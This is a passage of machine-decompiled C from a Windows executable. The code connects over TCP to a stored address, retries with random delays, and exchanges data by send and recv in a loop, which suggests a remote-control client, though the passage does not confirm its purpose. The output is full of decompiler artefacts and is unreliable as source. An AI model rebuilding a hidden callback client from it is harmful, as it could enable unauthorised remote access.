- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
- v8 = 0;
- int32_t v16 = &g50; // 0x404183
- // branch -> 0x404180
- while (true) {
- // 0x404180
- g4 = v16;
- function_402b58((int32_t)&v8);
- v13 = __3f__3f_2_40_YAPAXI_40_Z(56);
- g5 = v13;
- int32_t v17;
- if (v13 == 0) {
- lab_0x4041bd:
- // 0x4041bd
- v17 = 0;
- // branch -> 0x4041bf
- } else {
- lab_0x40419d:
- // 0x40419d
- _3f__3f_0_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_ABV01_40__40_Z(v15);
- g4 = v13;
- v17 = function_404343();
- // branch -> 0x4041bf
- }
- // 0x4041bf
- g5 = v17;
- g4 = g7;
- function_4026da(v17);
- g4 = g7;
- if ((char)function_4026a0() != 0) {
- // 0x4041e0
- g4 = g7;
- int32_t v18 = function_401b5f(); // 0x4041e2
- int32_t v19; // bp-64
- int32_t v20 = &v19; // 0x4041fa
- // branch -> 0x4041e9
- while (true) {
- // 0x4041e9
- int32_t v21; // 0x404315
- if (false) {
- // 0x4041f5
- v19 = (int32_t)v10 | v18 & -256;
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
- _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v15, 0, 0x7164);
- g4 = g7;
- function_402b58(v15);
- if ((char)_3f__3f_9std_40__40_YA_NABV_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_0_40_0_40_Z(v15, v20) != 0) {
- lab_0x40424c:
- // 0x40424c
- if (g37 == 0) {
- // 0x404259
- __pseudo_call(*(int32_t *)(*(int32_t *)g5 + 8));
- g4 = g7;
- function_4026ae();
- g37 = 0;
- g4 = g7;
- function_402756();
- g4 = g7;
- function_402d95();
- Sleep(0x2710);
- // branch -> 0x404287
- while (true) {
- int32_t v22 = g5; // 0x404287
- if (v22 != 0) {
- // 0x40428b
- __pseudo_call(*(int32_t *)*(int32_t *)v22);
- // branch -> 0x404293
- }
- int32_t v23 = __3f__3f_2_40_YAPAXI_40_Z(56); // 0x404295
- g5 = v23;
- int32_t v24;
- if (v23 == 0) {
- // 0x4042bf
- v24 = 0;
- // branch -> 0x4042c1
- } else {
- // 0x4042a1
- _3f__3f_0_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_ABV01_40__40_Z(v15);
- g4 = v23;
- v24 = function_404343();
- // branch -> 0x4042c1
- }
- // 0x4042c1
- g4 = g7;
- g5 = v24;
- function_4026da(v24);
- g4 = g7;
- int32_t v25 = function_4026a0(); // 0x4042cd
- g4 = g7;
- if ((char)v25 != 0) {
- // 0x4042e7
- function_401b5f();
- // branch -> 0x4042ee
- lab_0x4042ee:
- // 0x4042ee
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- // branch -> 0x4042fb
- lab_0x4042fb:
- // 0x4042fb
- if (g51 == 0) {
- lab_0x404304:
- // 0x404304
- Sleep(1000);
- // branch -> 0x4041e9
- break;
- }
- // 0x404315
- v21 = g5;
- if (v21 != 0) {
- // 0x404319
- __pseudo_call(*(int32_t *)*(int32_t *)v21);
- // branch -> 0x404321
- }
- // 0x404321
- WSACleanup();
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- // branch -> 0x404332
- // 0x404332
- __3f__3f_1CFile_40__40_UAE_40_XZ();
- // branch -> 0x40433a
- // 0x40433a
- return 0;
- }
- // 0x4042d6
- function_402b58(v15);
- // branch -> 0x404287
- }
- }
- } else {
- // 0x404242
- if (v8 == (int16_t)g3) {
- goto lab_0x4042ee;
- }
- goto lab_0x40424c;
- }
- // 0x4042ee
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- // branch -> 0x4042fb
- goto lab_0x4042fb;
- }
- // 0x4042fb
- if (g51 == 0) {
- goto lab_0x404304;
- }
- // 0x404315
- v21 = g5;
- if (v21 != 0) {
- // 0x404319
- __pseudo_call(*(int32_t *)*(int32_t *)v21);
- // branch -> 0x404321
- }
- // 0x404321
- WSACleanup();
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- // branch -> 0x404332
- // 0x404332
- __3f__3f_1CFile_40__40_UAE_40_XZ();
- // branch -> 0x40433a
- // 0x40433a
- return 0;
- }
- } else {
- int32_t v26 = g5; // 0x4041d2
- if (v26 != 0) {
- // 0x4041d6
- __pseudo_call(*(int32_t *)*(int32_t *)v26);
- // branch -> 0x404180
- }
- // 0x404180
- v16 = g7;
- // branch -> 0x404180
- continue;
- }
- }
- } else {
- // 0x40405c
- CloseHandle((int32_t *)hObject);
- // branch -> 0x404332
- }
- // 0x404332
- __3f__3f_1CFile_40__40_UAE_40_XZ();
- // branch -> 0x40433a
- // 0x40433a
- return 0;
- }
- // 0x404068
- time_val = time((int32_t *)lpMutexAttributes);
- srand(time_val);
- function_403bca();
- memcpy(&g39, &g55, 16);
- memcpy((int32_t *)&g40, (int32_t *)&g57, 16);
- memcpy((int32_t *)&g42, (int32_t *)&g58, 64);
- memcpy(&g43, (int32_t *)&g59, 64);
- memcpy((int32_t *)&g44, (int32_t *)&g60, 32);
- memcpy((int32_t *)&g45, (int32_t *)&g61, 32);
- memcpy(&g41, (int32_t *)"direct", 16);
- str = 0;
- v14 = &v9;
- _memset((char *)&v9, 0, 15);
- v9 = 0;
- v12 = v14 + 2;
- *(char *)v12 = 0;
- g5 = v12 + 1;
- strncpy(&str, (char *)&g54, (int32_t)(char *)16);
- strcat(&str, g26);
- strcat(&str, (char *)(int32_t)&g58);
- strcat(&str, g28);
- strcat(&str, (char *)(int32_t)&g57);
- len = strlen(&str);
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(v2, len);
- v15 = &v10;
- v10 = v11;
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
- v8 = 0;
- // branch -> 0x404180
- while (true) {
- // 0x404180
- g4 = &g50;
- function_402b58((int32_t)&v8);
- v13 = __3f__3f_2_40_YAPAXI_40_Z(56);
- g5 = v13;
- if (v13 == 0) {
- goto lab_0x4041bd;
- }
- goto lab_0x40419d;
- }
- }
- // Address range: 0x404343 - 0x4043d2
- int32_t function_404343(void) {
- // 0x404343
- function_404b60();
- int32_t v1 = g4; // 0x40434d
- int32_t v2 = g7; // 0x40434e
- g7 = v1;
- *(int32_t *)(g2 - 16) = v1;
- *(int32_t *)(g2 - 4) = 0;
- *(int32_t *)g7 = (int32_t)&g15;
- g4 = g7 + 4;
- *(char *)(g2 - 4) = 1;
- int32_t v3 = function_4043d3(g5, v2, v1); // 0x404366
- int32_t v4 = (int32_t)*(char *)(g2 + 27) | v3 & -256; // eax
- *(char *)(g2 - 4) = 2;
- *(char *)(g7 + 8) = (char)v4;
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
- *(int32_t *)g7 = (int32_t)&g14;
- *(char *)(g2 - 4) = 3;
- int32_t v5 = g2 + 8; // 0x404394
- _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v5, 0, 0x7164);
- *(int16_t *)(g7 + 24) = *(int16_t *)(g2 + 24);
- InitializeCriticalSection((struct _RTL_CRITICAL_SECTION *)(g7 + 28));
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- g7 = v5;
- abort();
- // UNREACHABLE
- }
- // Address range: 0x4043d3 - 0x40441d
- int32_t function_4043d3(int32_t a1, int32_t a2, int32_t a3) {
- int32_t v1 = g2; // 0x4043d3
- int32_t v2 = g7; // 0x4043dc
- InitializeCriticalSection((struct _RTL_CRITICAL_SECTION *)&g62);
- char v3 = 0; // bp-404
- if (WSAStartup(257, (struct WSAData *)&v3) != 0) {
- // 0x404419
- g7 = v2;
- g2 = v1;
- return g4;
- }
- // 0x404400
- if (v3 != 1) {
- // 0x404413
- WSACleanup();
- // branch -> 0x404419
- // 0x404419
- g7 = v2;
- g2 = v1;
- return g4;
- }
- // 0x404409
- char v4;
- if (v4 != 1) {
- // 0x404413
- WSACleanup();
- // branch -> 0x404419
- }
- // 0x404419
- g7 = v2;
- g2 = v1;
- return g4;
- }
- // Address range: 0x40441e - 0x404428
- void function_40441e(struct _RTL_CRITICAL_SECTION * lpCriticalSection) {
- // 0x40441e
- DeleteCriticalSection(lpCriticalSection);
- }
- // Address range: 0x404429 - 0x40442e
- int32_t _WSACleanup(void) {
- // 0x404429
- return WSACleanup();
- }
- // Address range: 0x40442f - 0x404435
- int32_t function_40442f(void) {
- // 0x40442f
- *(int32_t *)g4 = (int32_t)&g15;
- return g1;
- }
- // Address range: 0x404436 - 0x404452
- int32_t function_404436(char a1) {
- // 0x404436
- *(int32_t *)g4 = (int32_t)&g15;
- if ((a1 & 1) != 0) {
- // 0x404446
- __3f__3f_3_40_YAXPAX_40_Z(g4);
- // branch -> 0x40444d
- }
- // 0x40444d
- return g4;
- }
- // Address range: 0x404453 - 0x40448b
- int32_t function_404453(void) {
- // 0x404453
- _3f__3f_0_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_ABV01_40__40_Z(g4 + 8);
- int32_t v1 = function_404791(); // 0x40446f
- char * v2 = (char *)(g7 + 52); // 0x404483
- int32_t result;
- if ((char)v1 == 0) {
- // 0x404483
- *v2 = 0;
- result = v1 & -256;
- // branch -> 0x404489
- } else {
- // 0x40447b
- *v2 = 1;
- result = v1 & -256 | 1;
- // branch -> 0x404489
- }
- // 0x404489
- return result;
- }
- // Address range: 0x40448c - 0x40449b
- int32_t function_40448c(void) {
- int32_t v1 = closesocket(g7); // 0x40448f
- *(char *)(g4 + 52) = 0;
- return v1 & -256 | 1;
- }
- // Address range: 0x40449c - 0x40449f
- int32_t function_40449c(void) {
- // 0x40449c
- return g1 & -256 | (int32_t)*(char *)(g4 + 52);
- }
- // Address range: 0x4044a0 - 0x4044f0
- int32_t function_4044a0(void) {
- // 0x4044a0
- function_404b60();
- *(int32_t *)(g2 - 4) = 0;
- int32_t v1; // bp-28
- *(int32_t *)(g2 + 12) = (int32_t)&v1;
- int32_t v2 = g2 + 16; // 0x4044c0
- _3f__3f_0_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_ABV01_40__40_Z(v2);
- function_404602();
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- abort();
- // UNREACHABLE
- }
- // Address range: 0x4044f1 - 0x404541
- int32_t function_4044f1(void) {
- // 0x4044f1
- function_404b60();
- *(int32_t *)(g2 - 4) = 0;
- int32_t v1; // bp-28
- *(int32_t *)(g2 + 12) = (int32_t)&v1;
- int32_t v2 = g2 + 16; // 0x404511
- _3f__3f_0_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_ABV01_40__40_Z(v2);
- function_404699();
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- abort();
- // UNREACHABLE
- }
- // Address range: 0x404542 - 0x40455d
- int32_t function_404542(char a1) {
- // 0x404542
- function_40455e(g7);
- if ((a1 & 1) != 0) {
- // 0x404551
- __3f__3f_3_40_YAXPAX_40_Z(g7);
- // branch -> 0x404558
- }
- // 0x404558
- return g7;
- }
- // Address range: 0x40455e - 0x4045b4
- int32_t function_40455e(int32_t a1) {
- // 0x40455e
- function_404b60();
- *(int32_t *)(g2 - 16) = g4;
- *(int32_t *)g4 = (int32_t)&g14;
- *(int32_t *)(g2 - 4) = 1;
- DeleteCriticalSection((struct _RTL_CRITICAL_SECTION *)(g4 + 28));
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- DeleteCriticalSection((struct _RTL_CRITICAL_SECTION *)&g62);
- WSACleanup();
- *(int32_t *)g4 = (int32_t)&g15;
- g7 = g5;
- abort();
- // UNREACHABLE
- }
- // Address range: 0x4045b5 - 0x4045be
- int32_t function_4045b5(void) {
- // 0x4045b5
- function_4045bf();
- return function_4045d8();
- }
- // Address range: 0x4045bf - 0x4045d7
- int32_t function_4045bf(void) {
- // 0x4045bf
- return _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
- }
- // Address range: 0x4045d8 - 0x404601
- int32_t function_4045d8(void) {
- // 0x4045d8
- return function_404ac4(0x4045e4);
- }
- // Address range: 0x404602 - 0x404698
- int32_t function_404602(void) {
- // 0x404602
- function_404b60();
- *(int32_t *)(g2 - 4) = 0;
- EnterCriticalSection((struct _RTL_CRITICAL_SECTION *)&g62);
- int32_t v1; // bp-28
- *(int32_t *)(g2 - 16) = (int32_t)&v1;
- int32_t * v2;
- v1 = (int32_t)*(char *)(g2 + 8) | (int32_t)&v2 & -256;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
- int32_t v3 = *(int32_t *)*(int32_t *)0x4060b4; // 0x40463d
- int32_t v4 = g2 + 8; // 0x40463f
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v4, 0, v3);
- function_404715();
- char * sock = g63; // 0x404650
- if (sock != NULL) {
- int32_t buf = *(int32_t *)(g2 + 24); // 0x404660
- int32_t length = *(int32_t *)(g2 + 28); // 0x404665
- recv((int32_t)sock, (char *)*(int32_t *)buf, length, 0);
- LeaveCriticalSection((struct _RTL_CRITICAL_SECTION *)g7);
- // branch -> 0x40467a
- }
- // 0x40467a
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- abort();
- // UNREACHABLE
- }
- // Address range: 0x404699 - 0x404714
- int32_t function_404699(void) {
- int32_t v1 = function_404b60(); // 0x40469e
- int32_t v2 = 0; // edi
- int32_t v3; // bp-28
- *(int32_t *)(g2 - 16) = (int32_t)&v3;
- *(int32_t *)(g2 - 4) = v2;
- v3 = (int32_t)*(char *)(g2 + 8) | v1 & -256;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(v2);
- int32_t v4 = *(int32_t *)*(int32_t *)0x4060b4; // 0x4046c8
- int32_t v5 = g2 + 8; // 0x4046ca
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v5, v2, v4);
- function_404715();
- int32_t sock = (int32_t)g63; // 0x4046da
- int32_t flags = g5; // 0x4046e2
- if (sock != flags) {
- int32_t buf = *(int32_t *)(g2 + 24); // 0x4046ea
- g5 = send(sock, (char *)buf, *(int32_t *)(g2 + 28), flags);
- // branch -> 0x4046f6
- }
- // 0x4046f6
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- abort();
- // UNREACHABLE
- }
- // Address range: 0x404715 - 0x404781
- int32_t function_404715(void) {
- // 0x404715
- function_404b60();
- *(int32_t *)(g2 - 4) = 0;
- int32_t v1 = *(int32_t *)(g2 + 12); // 0x404729
- int32_t v2; // 0x404732
- if (v1 == 0) {
- // 0x40472d
- v2 = *(int32_t *)0x4060a8;
- // branch -> 0x404732
- } else {
- v2 = v1;
- }
- int32_t v3 = function_4048c0(g2 - 28, v2); // 0x404737
- *(char *)(g2 - 4) = 1;
- _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v3, 0, 0x7164);
- *(char *)(g2 - 4) = 0;
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- abort();
- // UNREACHABLE
- }
- // Address range: 0x404782 - 0x404790
- int32_t function_404782(int32_t s) {
- // 0x404782
- return closesocket(s) & -256 | 1;
- }
- // Address range: 0x404791 - 0x4048bf
- int32_t function_404791(void) {
- // 0x404791
- function_404b60();
- *(int32_t *)(g2 - 4) = 0;
- g63 = (char *)0;
- int32_t sock_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); // 0x4047b0
- int32_t option_value = g2 - 16; // 0x4047bc
- int32_t level = 0xffff; // bp-72
- int32_t v1 = &level; // 0x4047d1
- char * v2 = (char *)sock_fd; // 0x4047d2
- char * sock = v2; // bp-76
- g63 = v2;
- *(int32_t *)option_value = 0x9d00;
- setsockopt((int32_t)sock, level, 0x1001, (char *)option_value, 4);
- int32_t option_value2 = g2 - 20; // 0x4047dd
- level = 0xffff;
- *(int32_t *)option_value2 = 0x9d00;
- int32_t sock2 = *(int32_t *)&g63; // 0x4047ec5
- *(int32_t *)&sock = sock2;
- int32_t v3 = setsockopt(sock2, level, 0x1002, (char *)option_value2, 4); // 0x4047f2
- int32_t v4 = 0; // edi
- *(int32_t *)(g2 - 24) = v1;
- *(int16_t *)(g2 - 40) = 2;
- sock = (char *)v4;
- level = (int32_t)*(char *)(g2 + 8) | v3 & -256;
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(v4);
- int32_t v5 = g2 + 8; // 0x40481b
- _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v5, v4, 0x7164);
- function_40497c(g2 - 56);
- int32_t v6 = *(int32_t *)(g2 - 52); // 0x404832
- int32_t v7 = v6; // 0x40483e
- if (v6 == g5) {
- // 0x404839
- v7 = *(int32_t *)0x4060a8;
- // branch -> 0x40483e
- }
- char * cp = (char *)v7; // 0x40483e
- sock = cp;
- int32_t v8 = inet_addr(cp); // 0x40483f
- sock = (char *)*(int32_t *)(g2 + 24);
- *(int32_t *)(g2 - 36) = v8;
- *(int16_t *)(g2 - 38) = htons((int16_t)(int32_t)sock);
- int32_t v9 = 0x30d40; // esi
- // branch -> 0x40485a
- while (true) {
- // 0x40485a
- sock = (char *)16;
- if (connect(*(int32_t *)&g63, (struct sockaddr *)(g2 - 40), 16) != -1) {
- // 0x4048bc
- // branch -> 0x40488d
- // 0x40488d
- *(char *)(g2 - 4) = 0;
- sock = (char *)1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- g7 = (int32_t)sock;
- abort();
- // UNREACHABLE
- }
- int32_t v10 = rand(); // 0x404871
- int64_t v11 = 0x100000000 * (int64_t)(v10 >> 31) | (int64_t)v10; // 0x40487a
- int32_t dwMilliseconds = (int32_t)(v11 % (int64_t)v9) + v9; // 0x40487c
- sock = (char *)dwMilliseconds;
- Sleep(dwMilliseconds);
- int32_t v12 = g5 + 1; // 0x404885
- g5 = v12;
- if (v12 >= 10) {
- // break -> 0x40488b
- break;
- }
- // continue -> 0x40485a
- }
- // 0x40488b
- // branch -> 0x40488d
- // 0x40488d
- *(char *)(g2 - 4) = 0;
- sock = (char *)1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- g7 = (int32_t)sock;
- abort();
- // UNREACHABLE
- }
- // Address range: 0x4048c0 - 0x40497b
- int32_t function_4048c0(int32_t a1, int32_t a2) {
- // 0x4048c0
- function_404b60();
- int32_t CodePage = 0; // ebx
- int16_t * lpWideCharStr = NULL; // bp-44
- char * lpMultiByteStr = (char *)*(int32_t *)(g2 + 12); // bp-52
- *(int32_t *)(g2 - 20) = 0;
- int32_t cchWideChar = MultiByteToWideChar(CodePage, CodePage, lpMultiByteStr, -1, lpWideCharStr, 0); // 0x4048e4
- int32_t v1 = __3f__3f_2_40_YAPAXI_40_Z(2 * cchWideChar); // 0x4048ec
- *(int32_t *)(g2 - 16) = v1;
- int16_t * lpWideCharStr2 = (int16_t *)v1; // 0x4048f6
- lpWideCharStr = lpWideCharStr2;
- char * lpMultiByteStr2 = (char *)*(int32_t *)(g2 + 12); // 0x4048f9
- MultiByteToWideChar(CodePage, CodePage, lpMultiByteStr2, -1, lpWideCharStr2, cchWideChar);
- *(char *)(g2 - 36) = *(char *)(g2 + 15);
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(CodePage);
- int16_t * wstr = (int16_t *)*(int32_t *)(g2 - 16); // 0x404910
- lpWideCharStr = wstr;
- int32_t v2 = wcslen(wstr); // 0x404913
- *(int32_t *)&lpWideCharStr = v2;
- int32_t v3 = *(int32_t *)(g2 - 16); // 0x40491e
- _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_PBGI_40_Z(v3, v2);
- int32_t v4 = 1; // esi
- *(int32_t *)(g2 - 4) = 1;
- __3f__3f_3_40_YAXPAX_40_Z((int32_t)(char *)*(int32_t *)(g2 - 16));
- *(char *)*(int32_t *)(g2 + 8) = *(char *)(g2 - 36);
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)(char *)CodePage);
- int32_t v5 = g2 - 36; // 0x404950
- _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v5, CodePage, 0x7164);
- *(int32_t *)(g2 - 20) = v4;
- *(char *)(g2 - 4) = (char)CodePage;
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(v4);
- g5 = v4;
- g7 = v5;
- abort();
- // UNREACHABLE
- }
- // Address range: 0x40497c - 0x404a67
- int32_t function_40497c(int32_t a1) {
- int32_t v1 = function_404b60(); // 0x404981
- int32_t CodePage = 0; // ebx
- *(int32_t *)(g2 - 20) = 0;
- unsigned char v2 = *(char *)(g2 + 11); // 0x404991
- *(int32_t *)(g2 - 4) = 1;
- *(char *)(g2 - 36) = (char)((int32_t)v2 | v1 & -256);
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(CodePage);
- *(char *)(g2 - 4) = 2;
- int32_t v3 = *(int32_t *)(g2 + 16); // 0x4049af
- int32_t lpWideCharStr = v3; // 0x4049c5
- if (v3 == CodePage) {
- // 0x4049b3
- lpWideCharStr = *(int32_t *)0x4060e4;
- // branch -> 0x4049b8
- }
- char * lpMultiByteStr = (char *)CodePage; // 0x4049b8
- char * str = lpMultiByteStr; // bp-44
- int32_t cchWideChar = *(int32_t *)(g2 + 20); // 0x4049c2
- int32_t v4 = WideCharToMultiByte(CodePage, CodePage, (int16_t *)lpWideCharStr, cchWideChar, lpMultiByteStr, CodePage, lpMultiByteStr, (bool *)CodePage); // 0x4049c8
- *(int32_t *)(g2 - 16) = v4;
- int32_t v5 = v4 + 1; // 0x4049cd
- str = (char *)v5;
- int32_t lpMultiByteStr2 = __3f__3f_2_40_YAPAXI_40_Z(v5); // 0x4049cf
- int32_t v6 = *(int32_t *)(g2 + 16); // 0x4049d6
- int32_t lpWideCharStr2; // 0x4049ec
- if (v6 == CodePage) {
- // 0x4049de
- lpWideCharStr2 = *(int32_t *)0x4060e4;
- // branch -> 0x4049e3
- } else {
- lpWideCharStr2 = v6;
- }
- char * lpDefaultChar = (char *)CodePage; // 0x4049e3
- str = lpDefaultChar;
- int32_t cbMultiByte = *(int32_t *)(g2 - 16); // 0x4049e5
- int32_t cchWideChar2 = *(int32_t *)(g2 + 20); // 0x4049e9
- WideCharToMultiByte(CodePage, CodePage, (int16_t *)lpWideCharStr2, cchWideChar2, (char *)lpMultiByteStr2, cbMultiByte, lpDefaultChar, (bool *)CodePage);
- int32_t v7 = *(int32_t *)(g2 - 16); // 0x4049f1
- str = (char *)lpMultiByteStr2;
- *(char *)(lpMultiByteStr2 + v7) = (char)CodePage;
- int32_t len = strlen(str); // 0x4049f8
- *(int32_t *)&str = len;
- _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(lpMultiByteStr2, len);
- __3f__3f_3_40_YAXPAX_40_Z(lpMultiByteStr2);
- *(char *)*(int32_t *)(g2 + 8) = *(char *)(g2 - 36);
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)(char *)CodePage);
- int32_t v8 = *(int32_t *)*(int32_t *)0x4060b4; // 0x404a28
- int32_t v9 = g2 - 36; // 0x404a2a
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v9, CodePage, v8);
- int32_t v10 = 1; // edi
- *(int32_t *)(g2 - 20) = 1;
- *(char *)(g2 - 4) = 1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(v10);
- *(char *)(g2 - 4) = (char)CodePage;
- _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(v10);
- g5 = v10;
- g3 = (int32_t)(int16_t *)v9;
- abort();
- // UNREACHABLE
- }
- // Address range: 0x404a68 - 0x404a6d
- int32_t __3f__3f_3_40_YAXPAX_40_Z(int32_t a1) {
- // 0x404a68
- return _3f__3f_3_40_YAXPAX_40_Z();
